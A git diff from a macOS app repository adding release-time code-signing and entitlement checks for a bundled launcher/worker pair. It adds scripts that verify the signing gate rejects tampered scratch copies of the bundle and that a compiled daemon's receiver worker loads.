console.log(`winter-browser-host verified: ${BROWSER_HOST.dist.identifier}, designated => ${stated}, hardened runtime, no entitlements, no test hooks.`); } +// --- Cowork native pair (N2) ------------------------------------------------------------------------- +// Winter.app/Contents/Helpers/WinterCowork/{winter-cowork-launcher,winter-cowork-worker}, embedded by project.yml's "Embed Cowork native" phase +// (scripts/embed-cowork-native.sh). The daemon spawns the launcher by path and checks it against EXACTLY its stated requirement before reading a byte, and the launcher +// does the same for the worker, so a release proves: each binary's Developer ID team and secure timestamp (assertSigned); its identifier; the hardened runtime; +// EXACTLY the stated designated requirement (and that the signature satisfies it); the entitlements (worker: the hypervisor key alone, launcher: none); +// platform dylibs only; no test hook; and, through the pin manifest, that the directory holds exactly the two binaries, that their CDHashes are the manifest's, and +// that the libkrun archive/header and the worker and guest artifact pin files they were built against are the ones in THIS checkout. +// `checkSignedNative` and `checkCoworkNativeBundle` are the same checks `dev:cowork-native` and `verify:cowork-native` run. +if (nativePlan.mode === "omit") { + // An omitted release carries neither the helpers nor the pins file; a leftover from an earlier build is a failure, not a convenience. + const omitted = checkCoworkNativeOmitted({ + helpersDirectoryExists: existsSync(join(app, COWORK_NATIVE_EMBED_RELATIVE)), + manifestText: existsSync(join(app, "Contents", "Resources", "cowork-native-pins.json")) ? readFileSync(join(app, "Contents", "Resources", "cowork-native-pins.json"), "utf8") : null, + }); + if (omitted.length > 0) fail(`the release omits the Cowork native pair but the bundle carries it:\n ${omitted.join("\n ")}`); + console.log("Cowork native pair omitted as asked: no WinterCowork helpers and no pins file in the bundle."); +} else { + const contents = join(app, "Contents"); + const pairDir = join(app, COWORK_NATIVE_EMBED_RELATIVE); + const failures: string[] = []; + for (const role of ["launcher", "worker"] as const) { + const binary = join(pairDir, COWORK_NATIVE[role].name); + assertSigned(binary, COWORK_NATIVE[role].name); + failures.push(...checkSignedNative(role, TEAM_ID, { + codesignDvv: probe(`codesign -dvv "${binary}" 2>&1`).stdout, + codesignDr: probe(`codesign -d -r- "${binary}" 2>&1`).stdout, + entitlementsXml: probe(`codesign -d --entitlements - --xml "${binary}" 2>/dev/null`).stdout, + otoolL: probe(`otool -L "${binary}"`).stdout, + executable: readFileSync(binary), + })); + const stated = coworkRequirement(COWORK_NATIVE[role].identifier, TEAM_ID); + const satisfied = probe(`codesign --verify --strict -R='${stated}' "${binary}" 2>&1`); + if (!satisfied.ok) failures.push(`${COWORK_NATIVE[role].name}: the signature does not satisfy its own stated requirement: ${satisfied.stdout.trim()}`); + } + failures.push(...checkCoworkNativeBundle(readCoworkBundleFacts({ + appContents: contents, repo: ROOT, + listDirectory: (path) => (existsSync(path) ? readdirSync(path) : []), + readText: (path) => (existsSync(path) ? readFileSync(path, "utf8") : null), + codesignDvvv: (path) => probe(`codesign -dvvv "${path}" 2>&1`).stdout, + }))); + if (failures.length > 0) fail(`the Cowork native pair is not what this checkout builds:\n ${failures.join("\n ")}`); + console.log(`Cowork native pair verified: ${COWORK_NATIVE.launcher.identifier} (no entitlements) and ${COWORK_NATIVE.worker.identifier} (the hypervisor entitlement only), stated requirements, hardened runtime, pins match this checkout.`); +} // --- Winter Headless (ComputerV2 Phase 4) ---------------------------------------------------- // Winter's private, invisible browser: a background-only app the daemon SPAWNS by path (never through LaunchServices) // and checks against EXACTLY its stated requirement before it sends anything. Embedded at @@ -980,6 +1039,11 @@ const HARDENING_PINS: { path: string; label: string; expect: string[] }[] = [ // which is not in the cs.* family; checkSignedHelper above pins exactly that one. { path: computerHelperApp, label: "Winter Computer Use", expect: [] }, { path: browserHostPath, label: "winter-browser-host", expect: [] }, + // N2 — the Cowork native pair: no cs.* relaxation on either (the worker's one entitlement is the hypervisor key, not in the cs.* family; checkSignedNative above pins both exactly). + ...(nativePlan.mode === "omit" ? [] : [ + { path: join(app, COWORK_NATIVE_EMBED_RELATIVE, COWORK_NATIVE.launcher.name), label: "winter-cowork-launcher", expect: [] as string[] }, + { path: join(app, COWORK_NATIVE_EMBED_RELATIVE, COWORK_NATIVE.worker.name), label: "winter-cowork-worker", expect: [] as string[] }, + ]), // ComputerV2 Phase 4 — Winter Headless: no entitlements at all (checkSignedHeadless above pins that whole). { path: headlessApp, label: "Winter Headless", expect: [] }, // Winter Phase 8d (P8d-2) — `winter` is re-signed at embed time under Winter's own team identity diff --git a/scripts/sparkle-feed-gate.ts b/scripts/sparkle-feed-gate.ts index cbe522038..f38ab753b 100644 --- a/scripts/sparkle-feed-gate.ts +++ b/scripts/sparkle-feed-gate.ts @@ -63,8 +63,9 @@ const vCur = readCanonical(); // silently computing a malformed vNext. const vNext = nextVersion(vCur, "--patch"); sh(`xcodegen generate`, join(ROOT, "apple", "Winter")); +// COWORK_NATIVE=omit: this is a local update-feed rig, never released; it ships no Cowork native pair (the Embed phase then strips any and writes no pins file). sh( - `xcodebuild -project Winter.xcodeproj -scheme Winter -destination 'platform=macOS' -configuration Release -derivedDataPath "${OUT}/dd" build`, + `COWORK_NATIVE=omit xcodebuild -project Winter.xcodeproj -scheme Winter -destination 'platform=macOS' -configuration Release -derivedDataPath "${OUT}/dd" build`, join(ROOT, "apple", "Winter"), ); const builtApp = join(OUT, "dd", "Build", "Products", "Release", "Winter.app"); diff --git a/scripts/verify-cowork-native.ts b/scripts/verify-cowork-native.ts new file mode 100644 index 000000000..ce3891ea6 --- /dev/null +++ b/scripts/verify-cowork-native.ts @@ -0,0 +1,150 @@ +/** + * `bun run verify:cowork-native` — the compiled-artifact gate for the Cowork native pair's packaging. It assembles a SCRATCH bundle (a temp directory shaped like + * `Winter.app/Contents`), runs the real build-phase script `embed-cowork-native.sh` into it with an ad-hoc identity, and proves: + * + * 1. the embed produced exactly the pair and the pin manifest, and `checkSignedNative` (identifier, hardened runtime, the stated designated requirement, the + * entitlements, platform dylibs only, no test hook) and `checkCoworkNativeBundle` (the manifest's CDHashes and pins against this checkout) accept it; + * 2. an OMITTED release (`COWORK_NATIVE=omit`) strips a bundle that already holds the pair, so it carries no `WinterCowork` helpers and no pins file; the omit gate accepts that and + * refuses a bundle that still holds either; a build with no inputs at all still succeeds and embeds nothing; one input alone, or an unknown `COWORK_NATIVE`, fails; and activation is + * impossible without the pair (the activation seam is off, and the omitted bundle has nothing at the path the daemon spawns); + * 3. the gate REFUSES each of: a binary swapped after embedding, a changed pin in the manifest, an extra file in the directory, a missing manifest, a wrong + * identifier, a worker carrying a second entitlement, and a test hook in a binary. + * + * bun run verify:cowork-native [--launcher ] [--worker ] [--libkrun-include --libkrun-archive ] + * + * With no arguments it builds the REAL launcher (swift build, scratch path) and uses a stand-in worker (a copy of /usr/bin/true) because this repository does not + * build S4's libkrun archive; with the libkrun inputs it also builds the real worker. It never runs either binary, never signs with a real identity, never touches the + * Keychain, the notary, /Applications or any running Winter, and removes its scratch directory. The Developer ID team, the secure timestamp and notarization are + * checked by release.ts on the real bundle, not here. + */ +import { appendFileSync, copyFileSync, cpSync, existsSync, mkdirSync, mkdtempSync, readFileSync, readdirSync, rmSync, writeFileSync } from "node:fs"; +import { spawnSync } from "node:child_process"; +import { tmpdir } from "node:os"; +import { join, resolve } from "node:path"; +import { buildCoworkNative } from "./build-cowork-native"; +import { COWORK_NATIVE, COWORK_NATIVE_EMBED_RELATIVE, COWORK_NATIVE_TEAM, COWORK_TEST_HOOK_MARKER, checkCoworkNativeBundle, checkCoworkNativeOmitted, readCoworkBundleFacts } from "./cowork-native-lib"; +import { REPO_ROOT, WORKER_ENTITLEMENTS, inspectNative, run, signNative } from "./cowork-native-tools"; + +export interface VerifyResult { failures: string[]; lines: string[] } + +function embed(inputs: { launcher: string; worker: string; entitlements?: string }, builtProducts: string, extraEnv: Record = {}): { ok: boolean; output: string } { + const result = spawnSync("bash", [join(REPO_ROOT, "scripts", "embed-cowork-native.sh")], { + encoding: "utf8", timeout: 180_000, + env: { ...process.env, CONFIGURATION: "Release", BUILT_PRODUCTS_DIR: builtProducts, CONTENTS_FOLDER_PATH: "Winter.app/Contents", EXPANDED_CODE_SIGN_IDENTITY: "-", DEVELOPMENT_TEAM: COWORK_NATIVE_TEAM, + COWORK_LAUNCHER_BINARY: inputs.launcher, COWORK_WORKER_BINARY: inputs.worker, COWORK_WORKER_ENTITLEMENTS: inputs.entitlements ?? WORKER_ENTITLEMENTS, ...extraEnv }, + }); + return { ok: result.status === 0, output: `${result.stdout}${result.stderr}` }; +} + +function bundleFailures(contents: string): string[] { + return checkCoworkNativeBundle(readCoworkBundleFacts({ + appContents: contents, repo: REPO_ROOT, + listDirectory: (path) => (existsSync(path) ? readdirSync(path) : []), + readText: (path) => (existsSync(path) ? readFileSync(path, "utf8") : null), + codesignDvvv: (path) => { const r = run("codesign", ["-dvvv", path]); return `${r.stdout}\n${r.stderr}`; }, + })); +} +function memberFailures(contents: string): string[] { + const dir = join(contents, "Helpers", "WinterCowork"); + return (["launcher", "worker"] as const).flatMap((role) => { const path = join(dir, COWORK_NATIVE[role].name); return existsSync(path) ? inspectNative(path, role, "dist", undefined) : [`${COWORK_NATIVE[role].name} is missing`]; }); +} + +/** Copies the good bundle, applies `mutate`, and returns the failures the gate reports (a good gate reports at least one). */ +function refusal(good: string, scratch: string, name: string, mutate: (contents: string) => void): { name: string; failures: string[] } { + const copy = join(scratch, `mutant-${name.replace(/\W+/g, "-")}`); + cpSync(good, copy, { recursive: true }); + const contents = join(copy, "Winter.app", "Contents"); + mutate(contents); + return { name, failures: [...memberFailures(contents), ...bundleFailures(contents)] }; +} + +export function verifyCoworkNative(input: { launcher: string; worker: string; scratchRoot?: string }): VerifyResult { + const scratch = input.scratchRoot ?? mkdtempSync(join(tmpdir(), "verify-cowork-native-")); + const failures: string[] = [], lines: string[] = []; + try { + const good = join(scratch, "good"); + const embedded = embed(input, good); + if (!embedded.ok) return { failures: [`the embed phase failed:\n${embedded.output.trim()}`], lines }; + const contents = join(good, "Winter.app", "Contents"); + failures.push(...memberFailures(contents), ...bundleFailures(contents)); + lines.push(failures.length === 0 ? "good bundle: both members and the pin manifest accepted" : "good bundle: REFUSED (see failures)"); + if (failures.length > 0) return { failures, lines }; + + // ---- the explicit omit, the no-input build and their refusals + const omitFacts = (c: string) => ({ helpersDirectoryExists: existsSync(join(c, "Helpers", "WinterCowork")), manifestText: existsSync(join(c, "Resources", "cowork-native-pins.json")) ? readFileSync(join(c, "Resources", "cowork-native-pins.json"), "utf8") : null }); + const omitOut = join(scratch, "omit"); + cpSync(good, omitOut, { recursive: true }); // a stale pair from an earlier build is in the products directory + const omitted = embed(input, omitOut, { COWORK_NATIVE: "omit" }); + const omitContents = join(omitOut, "Winter.app", "Contents"); + const omitProblems = [...(omitted.ok ? [] : [`the omit run failed: ${omitted.output.trim()}`]), ...checkCoworkNativeOmitted(omitFacts(omitContents))]; + failures.push(...omitProblems); + lines.push(omitProblems.length === 0 ? "omit: the stale pair and pins file were removed, the omit gate accepts the bundle" : "omit: REFUSED"); + if (checkCoworkNativeOmitted(omitFacts(contents)).length !== 2) failures.push("the omit gate did NOT refuse a bundle that still holds the helpers and the pins file"); + lines.push("refused: an omitted release whose bundle still holds the helpers and the pins file"); + const noInputOut = join(scratch, "no-input"); + const noInput = embed({ launcher: join(scratch, "absent-launcher"), worker: join(scratch, "absent-worker") }, noInputOut); + const noInputProblems = [...(noInput.ok ? [] : [`a build without inputs failed: ${noInput.output.trim()}`]), ...checkCoworkNativeOmitted(omitFacts(join(noInputOut, "Winter.app", "Contents")))]; + failures.push(...noInputProblems); + lines.push(noInputProblems.length === 0 ? "no inputs: the build succeeded and embedded nothing" : "no inputs: FAILED"); + const half = embed({ launcher: input.launcher, worker: join(scratch, "absent-worker") }, join(scratch, "half")); + if (half.ok) failures.push("one input without the other was accepted"); + lines.push("refused: one input without the other"); + if (embed(input, join(scratch, "typo"), { COWORK_NATIVE: "skip" }).ok) failures.push("COWORK_NATIVE=skip (not a choice) was accepted"); + lines.push("refused: COWORK_NATIVE with a value other than omit"); + // Activation is impossible without the pair: the seam is off, and the daemon spawns the pair at Contents/Helpers/WinterCowork, which an omitted bundle does not have. + const seam = readFileSync(join(REPO_ROOT, "packages", "core", "src", "cowork", "native-activation.ts"), "utf8"); + if (!seam.includes("COWORK_NATIVE_ENVIRONMENT_ACTIVATED: boolean = false")) failures.push("the activation seam is not off"); + if (existsSync(join(omitContents, "Helpers", "WinterCowork", COWORK_NATIVE.launcher.name))) failures.push("an omitted bundle holds a launcher at the path the daemon spawns"); + lines.push("activation: the seam is off, and an omitted bundle has nothing at the spawn path"); + + const dir = (c: string) => join(c, "Helpers", "WinterCowork"); + const mutants: { name: string; failures: string[] }[] = [ + refusal(good, scratch, "a binary swapped after embedding", (c) => { // a different program, re-signed the same way: valid signature, different CDHash + const worker = join(dir(c), COWORK_NATIVE.worker.name); + copyFileSync("/bin/echo", worker); signNative(worker, "worker", "dist", { identity: "-", timestamp: false }); + }), + refusal(good, scratch, "a changed pin in the manifest", (c) => { const m = join(c, "Resources", "cowork-native-pins.json"); writeFileSync(m, readFileSync(m, "utf8").replace(/"libkrunArchiveSha256": "[0-9a-f]/, (x) => x.slice(0, -1) + (x.endsWith("0") ? "1" : "0"))); }), + refusal(good, scratch, "an extra file next to the pair", (c) => writeFileSync(join(dir(c), "extra"), "x")), + refusal(good, scratch, "a missing manifest", (c) => rmSync(join(c, "Resources", "cowork-native-pins.json"))), + refusal(good, scratch, "a wrong launcher identifier", (c) => { const l = join(dir(c), COWORK_NATIVE.launcher.name); run("codesign", ["--force", "--sign", "-", "--identifier", "com.example.not-the-launcher", "--options", "runtime", l]); }), + refusal(good, scratch, "a worker with a second entitlement", (c) => { + const ents = join(scratch, "extra.entitlements"); + writeFileSync(ents, 'com.apple.security.hypervisorcom.apple.security.cs.allow-jit'); + signNative(join(dir(c), COWORK_NATIVE.worker.name), "worker", "dist", { identity: "-", timestamp: false, entitlementsFile: ents }); + }), + refusal(good, scratch, "a test hook in a binary", (c) => { const l = join(dir(c), COWORK_NATIVE.launcher.name); appendFileSync(l, `${COWORK_TEST_HOOK_MARKER}PIN`); signNative(l, "launcher", "dist", { identity: "-", timestamp: false }); }), + ]; + for (const mutant of mutants) { + if (mutant.failures.length === 0) failures.push(`the gate ACCEPTED ${mutant.name}`); + lines.push(`${mutant.failures.length > 0 ? "refused" : "ACCEPTED"}: ${mutant.name}${mutant.failures.length > 0 ? ` (${mutant.failures[0]!.slice(0, 110)})` : ""}`); + } + return { failures, lines }; + } finally { + if (input.scratchRoot === undefined) rmSync(scratch, { recursive: true, force: true }); + } +} + +if (import.meta.main) { + if (process.platform !== "darwin") { console.error("verify:cowork-native: macOS only"); process.exit(1); } + const argv = process.argv.slice(2); + const valueOf = (flag: string): string | undefined => { const i = argv.indexOf(flag); return i >= 0 ? argv[i + 1] : undefined; }; + const scratch = mkdtempSync(join(tmpdir(), "verify-cowork-native-in-")); + try { + let launcher = valueOf("--launcher"), worker = valueOf("--worker"); + if (launcher === undefined || worker === undefined) { + const include = valueOf("--libkrun-include") ?? process.env.COWORK_LIBKRUN_INCLUDE, archive = valueOf("--libkrun-archive") ?? process.env.COWORK_LIBKRUN_ARCHIVE; + const built = buildCoworkNative({ out: join(scratch, "built"), include, archive, launcherOnly: !(include && archive) }); + launcher = launcher ?? built.launcher; + if (worker === undefined) { + if (built.worker !== undefined) worker = built.worker; + else { worker = join(scratch, "stand-in-worker"); copyFileSync("/usr/bin/true", worker); console.error("verify:cowork-native: no libkrun inputs, so the worker is a STAND-IN (a copy of /usr/bin/true); the launcher is the real build"); } + } + } + const result = verifyCoworkNative({ launcher: resolve(launcher), worker: resolve(worker) }); + for (const line of result.lines) console.error(`verify:cowork-native: ${line}`); + if (result.failures.length > 0) { console.error(`verify:cowork-native: FAILED\n ${result.failures.join("\n ")}`); process.exit(1); } + console.error("verify:cowork-native: ok"); + } finally { + rmSync(scratch, { recursive: true, force: true }); + } +} diff --git a/scripts/verify-fd-receiver-compiled.ts b/scripts/verify-fd-receiver-compiled.ts new file mode 100644 index 000000000..57bbaf073 --- /dev/null +++ b/scripts/verify-fd-receiver-compiled.ts @@ -0,0 +1,107 @@ +/** + * The compiled-binary proof that the Cowork native channel's receiver thread starts in the SHIPPED `winter-core`. + * + * `fd-channel.ts` serves every launcher channel from ONE Bun Worker. In dev it builds the Worker from an absolute source URL; in a compiled binary it must use the plain relative + * string `./fd-receiver-worker.ts` (a `new URL(...).href` hangs silently, WS-23 spike #1), which resolves only if `packages/cli/src/fd-receiver-worker.ts` was passed to + * `compile:core` as a third entrypoint. `bun test` only runs the dev path, so nothing but the real artifact notices that missing. + * + * 1. `compile:core` -> dist/winter-core (all three entrypoints). + * 2. A copy in a throwaway directory, ad-hoc signed the way the Release app signs winter-core (hardened runtime + scripts/winter-core.entitlements). + * 3. ` __fd-receiver-probe` from that directory, with a narrow environment and a temp WINTER_HOME: socketpair, one line through the receiver hub, expect the line back. + * 3b. ` __host-code-adapter-probe`: the host-code broker's SDK modules resolve INSIDE the built binary (`installedHostCodeAdapter()` does not throw "Cannot find module"). + * Same safety: no home, Keychain, daemon or launcher. + * 3c. ` __host-env-lazy-probe`: the activation seam's lazy `require("./host-env/environment")` resolves INSIDE the built binary (the seam stays off; the module loads, nothing is built). + * 4. The negative control: the same probe against a copy of the binary whose Worker entry cannot be found must NOT print ok. (Checked without rebuilding: the probe is run with the + * entry string patched in the copy to a name that does not exist.) + * + * bun run verify:fd-receiver + * + * Standalone, never part of `bun test`. The probe touches no home, no Keychain, no daemon and no launcher, and the script never runs anything but the temp copy. + */ +import { spawn, spawnSync } from "node:child_process"; +import { chmodSync, copyFileSync, existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { homedir, tmpdir } from "node:os"; +import { dirname, join } from "node:path"; +import { fileURLToPath } from "node:url"; + +const REPO_ROOT = join(dirname(fileURLToPath(import.meta.url)), ".."); +const DIST_BINARY = join(REPO_ROOT, "dist", "winter-core"); +const ENTITLEMENTS = join(REPO_ROOT, "scripts", "winter-core.entitlements"); +const COMPILE_TIMEOUT_MS = 180_000, PROBE_TIMEOUT_MS = 30_000; +export const ENTRY_NAME = "./fd-receiver-worker.ts"; + +/** The probe's one JSON line, or undefined. */ +export function parseProbe(stdout: string): { ok: boolean; line?: string; error?: string } | undefined { + for (const raw of stdout.split("\n")) { + const text = raw.trim(); + if (!text.startsWith("{")) continue; + try { const value = JSON.parse(text); if (typeof value?.ok === "boolean") return value; } catch { /* not the line */ } + } + return undefined; +} + +/** A copy of the binary whose receiver entry string names a file that is not embedded (same length, so the executable layout is untouched). Null when the entry string is absent. */ +export function withBrokenEntry(binary: Uint8Array): Buffer | null { + const needle = Buffer.from(ENTRY_NAME), replacement = Buffer.from("./fd-receiver-wxrker.ts"); + const bytes = Buffer.from(binary); + let at = bytes.indexOf(needle), count = 0; + while (at >= 0) { replacement.copy(bytes, at); count += 1; at = bytes.indexOf(needle, at + needle.length); } + return count > 0 ? bytes : null; +} + +function runChild(binary: string, args: string[], env: Record, cwd: string): Promise<{ code: number | null; stdout: string; stderr: string }> { + return new Promise((resolve, reject) => { + const child = spawn(binary, args, { stdio: ["ignore", "pipe", "pipe"], env, cwd }); + let stdout = "", stderr = ""; + child.stdout.on("data", (d: Buffer) => { stdout += d.toString("utf8"); }); + child.stderr.on("data", (d: Buffer) => { stderr += d.toString("utf8"); }); + const timer = setTimeout(() => { try { child.kill("SIGKILL"); } catch { /* gone */ } resolve({ code: null, stdout, stderr: `${stderr}\n(timed out after ${PROBE_TIMEOUT_MS} ms)` }); }, PROBE_TIMEOUT_MS); + child.on("error", (error) => { clearTimeout(timer); reject(error); }); + child.on("close", (code) => { clearTimeout(timer); resolve({ code, stdout, stderr }); }); + }); +} + +function sign(path: string): void { + const result = spawnSync("codesign", ["--force", "--sign", "-", "--options", "runtime", "--entitlements", ENTITLEMENTS, path], { encoding: "utf8" }); + if (result.status !== 0) throw new Error(`codesign of ${path} failed: ${(result.stderr ?? "").trim()}`); +} + +async function main(): Promise { + console.log("=== compiled-binary proof: the Cowork channel's receiver thread ==="); + const compile = spawnSync(process.execPath, ["run", "--filter", "@yanlinglabs/winter-cli", "compile:core"], { cwd: REPO_ROOT, encoding: "utf8", timeout: COMPILE_TIMEOUT_MS }); + if (compile.status !== 0) throw new Error(`compile:core failed:\n${compile.stdout ?? ""}\n${compile.stderr ?? ""}`); + if (!existsSync(DIST_BINARY)) throw new Error(`compile:core reported success but ${DIST_BINARY} was not produced`); + const scratch = mkdtempSync(join(tmpdir(), "winter-fd-receiver-proof-")); + try { + const home = join(scratch, "home"); mkdirSync(home); + const env: Record = { PATH: process.env.PATH ?? "/usr/bin:/bin", HOME: process.env.HOME ?? homedir(), WINTER_HOME: home, WINTER_PROFILE: "dev", WINTER_KEYCHAIN_SERVICE: "com.winter.core.test-isolated", WINTER_LOGIN_SHELL_PATH: "off" }; + const good = join(scratch, "winter-core"); + copyFileSync(DIST_BINARY, good); chmodSync(good, 0o755); sign(good); + const run = await runChild(good, ["__fd-receiver-probe"], env, scratch); + const result = parseProbe(run.stdout); + if (run.code !== 0 || result?.ok !== true) throw new Error(`the compiled daemon's receiver thread did not start (exit ${run.code}): ${JSON.stringify(result)}\n${run.stderr.trim()}`); + console.log(`ok: the probe line came back through the receiver hub (${JSON.stringify(result)})`); + + const adapter = await runChild(good, ["__host-code-adapter-probe"], env, scratch); + const adapterResult = parseProbe(adapter.stdout); + if (adapter.code !== 0 || adapterResult?.ok !== true) throw new Error(`the host-code broker's modules do not resolve inside the compiled daemon (exit ${adapter.code}): ${JSON.stringify(adapterResult)}\n${adapter.stderr.trim()}`); + console.log(`ok: installedHostCodeAdapter() ran in the compiled daemon (${JSON.stringify(adapterResult)})`); + + const lazy = await runChild(good, ["__host-env-lazy-probe"], env, scratch); + const lazyResult = parseProbe(lazy.stdout); + if (lazy.code !== 0 || lazyResult?.ok !== true) throw new Error(`the lazy host-env require does not resolve inside the compiled daemon (exit ${lazy.code}): ${JSON.stringify(lazyResult)}\n${lazy.stderr.trim()}`); + console.log(`ok: the activation seam's lazy host-env require resolved in the compiled daemon (${JSON.stringify(lazyResult)})`); + + const broken = withBrokenEntry(readFileSync(DIST_BINARY)); + if (broken === null) throw new Error(`the binary does not contain the entry string ${ENTRY_NAME}: fd-channel.ts does not use the compiled entry`); + const bad = join(scratch, "winter-core-broken"); + writeFileSync(bad, broken); chmodSync(bad, 0o755); sign(bad); + const negative = await runChild(bad, ["__fd-receiver-probe"], env, scratch); + if (parseProbe(negative.stdout)?.ok === true) throw new Error("negative control failed: a binary without the worker entry still passed the probe, so the probe proves nothing"); + console.log("ok: the negative control (entry renamed in a copy) is refused by the same probe"); + } finally { + rmSync(scratch, { recursive: true, force: true }); + } +} + +if (import.meta.main) main().catch((error) => { console.error(`verify:fd-receiver: ${(error as Error).message}`); process.exit(1); }); diff --git a/scripts/verify-fd-receiver.test.ts b/scripts/verify-fd-receiver.test.ts new file mode 100644 index 000000000..6e394f6d1 --- /dev/null +++ b/scripts/verify-fd-receiver.test.ts @@ -0,0 +1,39 @@ +import { describe, expect, test } from "bun:test"; +import { readFileSync } from "node:fs"; +import { join } from "node:path"; +import { ENTRY_NAME, parseProbe, withBrokenEntry } from "./verify-fd-receiver-compiled"; + +// The pure half of `verify:fd-receiver` (the compile and the run are the gate itself, never part of the test sweep). +describe("verify:fd-receiver helpers", () => { + test("the gate's entry string is the one fd-channel.ts uses in a compiled binary, and fd-channel.ts uses it only when compiled", () => { + // read as text: scripts do not import cowork/native (the anti-wiring pin) + const source = readFileSync(join(import.meta.dir, "..", "packages", "core", "src", "cowork", "native", "fd-channel.ts"), "utf8"); + expect(source).toContain(`export const COMPILED_FD_RECEIVER_WORKER_ENTRY = "${ENTRY_NAME}";`); + expect(source).toContain("inCompiledBinary() ? COMPILED_FD_RECEIVER_WORKER_ENTRY : new URL("); + }); + test("parseProbe finds the probe's JSON line among other output", () => { + expect(parseProbe("noise\n{\"ok\":true,\"line\":\"x\"}\n")).toEqual({ ok: true, line: "x" }); + expect(parseProbe("{\"ok\":\"yes\"}\nnot json\n{broken")).toBeUndefined(); + expect(parseProbe("")).toBeUndefined(); + }); + test("withBrokenEntry renames every occurrence at the same length, and refuses a binary without the entry", () => { + const bytes = Buffer.concat([Buffer.from("a"), Buffer.from(ENTRY_NAME), Buffer.from("b"), Buffer.from(ENTRY_NAME)]); + const broken = withBrokenEntry(bytes)!; + expect(broken.length).toBe(bytes.length); + expect(broken.includes(Buffer.from(ENTRY_NAME))).toBe(false); + expect(withBrokenEntry(Buffer.from("nothing here"))).toBeNull(); + }); + test("the gate also runs the host-code adapter probe on the compiled binary, and main.ts routes it to a probe that only calls installedHostCodeAdapter()", () => { + const gate = readFileSync(join(import.meta.dir, "verify-fd-receiver-compiled.ts"), "utf8"); + expect(gate).toContain('runChild(good, ["__host-code-adapter-probe"]'); + expect(gate).toContain("do not resolve inside the compiled daemon"); + const root = join(import.meta.dir, "..", "packages", "cli", "src"); + expect(readFileSync(join(root, "main.ts"), "utf8")).toContain('process.argv[2] === "__host-code-adapter-probe"'); + const probe = readFileSync(join(root, "fd-receiver-probe.ts"), "utf8"); + expect(probe).toContain("installedHostCodeAdapter()"); + expect(probe).toContain('import("../../core/src/runtime-sdk/host-code-broker")'); + }); + test("package.json names the gate", () => { + expect(JSON.parse(readFileSync(join(import.meta.dir, "..", "package.json"), "utf8")).scripts["verify:fd-receiver"]).toBe("bun run scripts/verify-fd-receiver-compiled.ts"); + }); +});